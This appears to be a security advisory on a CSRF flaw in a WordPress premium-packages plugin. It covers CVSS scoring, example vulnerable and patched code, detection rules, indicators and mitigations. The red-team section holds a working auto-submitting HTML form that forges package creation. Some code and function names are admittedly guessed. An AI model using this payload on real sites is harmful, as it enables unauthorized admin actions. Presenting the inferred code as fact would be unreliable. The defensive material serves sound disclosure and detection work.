CVE-2025-54732

Executive Summary

CVE-2025-54732 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the WordPress plugin WPDM – Premium Packages (slug: wpdm-premium-packages), developed by Shahjada. This vulnerability affects all versions from n/a through 6.0.2. The flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or creating unauthorized premium packages, without their consent. As of the latest analysis, no official patch has been released, and the vendor has not acknowledged the issue. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for targeted attacks.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and third-party marketplaces. Users are advised to verify the integrity of their plugin files and monitor for any unauthorized modifications. Since no patch is available, supply chain risk is elevated, and users should consider disabling the plugin until a fix is released.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link or visit a malicious page)
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low (attacker can modify plugin settings or create unauthorized premium packages)
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for privilege escalation via CSRF (e.g., creating admin users or modifying site options) could lead to more severe impacts in a WordPress context.

Deep Dive & Mechanics

The vulnerability exists in the wpdm-premium-packages plugin due to missing or improper CSRF token validation on state-changing requests. In WordPress, CSRF tokens (nonces) are typically used to verify that requests originate from the legitimate admin interface. The plugin fails to implement nonce checks on critical actions such as:

• Creating, editing, or deleting premium packages
• Modifying plugin settings (e.g., payment gateways, download limits)
• Changing user roles or permissions related to package management

An attacker can craft a malicious HTML page or email that, when visited by an authenticated administrator, triggers a forged request to the WordPress admin area. For example, a simple <img> tag or a hidden form can be used to send a POST request to /wp-admin/admin-post.php?action=wpdm_create_package with attacker-controlled parameters.

WordPress Ecosystem Note: This is a WordPress plugin vulnerability. The underlying web server (Apache, Nginx, etc.) is not at fault. The issue lies entirely within the plugin's codebase.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable version likely lacks nonce verification in functions like wpdm_create_package() or wpdm_update_settings().

Vulnerable Code (Example):

function wpdm_create_package() {
    // No nonce check
    $title = $_POST['title'];
    $price = $_POST['price'];
    // ... save to database
    wp_insert_post(array('post_title' => $title, 'post_type' => 'wpdm_package'));
}

Patched Code (Expected):

function wpdm_create_package() {
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'wpdm_create_package_nonce')) {
        wp_die('CSRF detected!');
    }
    $title = sanitize_text_field($_POST['title']);
    $price = floatval($_POST['price']);
    // ... save to database
    wp_insert_post(array('post_title' => $title, 'post_type' => 'wpdm_package'));
}

The patch would add wp_verify_nonce() checks before processing any state-changing actions.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A WordPress site with WPDM – Premium Packages <= 6.0.2 installed and activated.
• An authenticated admin user session (victim).

Exploitation Steps:

1. Craft a malicious HTML page that auto-submits a form to the victim's WordPress admin.
2. Host the page on an attacker-controlled server or use a phishing email.
3. Lure the victim admin to visit the page while logged into WordPress.

Example Exploit HTML:

<html>
<body>
<form id="csrf" action="http://victim-site.com/wp-admin/admin-post.php" method="POST">
    <input type="hidden" name="action" value="wpdm_create_package">
    <input type="hidden" name="title" value="Malicious Package">
    <input type="hidden" name="price" value="0.01">
    <input type="hidden" name="description" value="Backdoored package">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

Expected Outcome: A new premium package is created with attacker-controlled data, potentially allowing unauthorized access to premium content.

Blue Team (Defender)

Detection Steps:

1. Monitor WordPress admin logs for unexpected package creation or setting changes.
2. Use a Web Application Firewall (WAF) to block requests missing Referer headers or nonce parameters.
3. Implement Content Security Policy (CSP) headers to prevent form auto-submission from external origins.

Lab Setup for Testing:

• Install WordPress with the vulnerable plugin in a sandbox environment.
• Use a tool like Burp Suite to intercept and replay requests without nonces.
• Verify that state-changing actions succeed without proper tokens.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /wp-admin/admin-post.php with action=wpdm_create_package or similar, lacking a _wpnonce parameter.
  • Referer headers from unexpected domains (e.g., attacker-controlled sites).
• Host:
  • Unexpected premium packages in the WordPress database (table wp_posts with post_type = 'wpdm_package').
  • Modified plugin settings in wp_options table (e.g., wpdm_settings).
• Logs:
  • WordPress debug log entries showing missing nonce errors (if logging enabled).
  • Web server access logs with unusual POST requests to admin endpoints.

Detection Engineering

YARA Rule

rule CVE_2025_54732_CSRF_WPDM {
    meta:
        description = "Detects vulnerable WPDM – Premium Packages plugin files missing nonce checks"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-54732"
    strings:
        $func_create = "wpdm_create_package" nocase
        $func_settings = "wpdm_update_settings" nocase
        $nonce_check = "wp_verify_nonce" nocase
        $nonce_field = "_wpnonce" nocase
    condition:
        ($func_create or $func_settings) and not ($nonce_check or $nonce_field)
}

Sigma Rule

title: CVE-2025-54732 - CSRF in WPDM Premium Packages
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to WordPress admin endpoints lacking CSRF nonce parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-post.php'
        cs-uri-query|contains: 'action=wpdm_'
    filter:
        cs-uri-query|contains: '_wpnonce'
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions with nonce (should be filtered)
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-54732 - CSRF Attempt on WPDM Premium Packages";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/wp-admin/admin-post.php";
    http.uri; content:"action=wpdm_";
    http.client_body; content:!"_wpnonce";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by the vendor.
2. Implement a Web Application Firewall (WAF) rule to block requests to /wp-admin/admin-post.php that lack a valid nonce parameter.
3. Add custom nonce checks via a WordPress mu-plugin (must-use plugin) as a temporary workaround:

   add_action('admin_post_wpdm_create_package', 'wpdm_csrf_check', 1);
   function wpdm_csrf_check() {
       if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'wpdm_create_package_nonce')) {
           wp_die('CSRF detected!');
       }
   }
   

Long-term Fix:

• The vendor must release a patched version (e.g., 6.0.3) that includes proper nonce verification on all admin actions.
• Users should update to the latest version once available.

Monitoring:

• Enable WordPress debug logging (WP_DEBUG_LOG) to capture any missing nonce errors.
• Review web server access logs for suspicious POST requests to admin endpoints.

Valters IT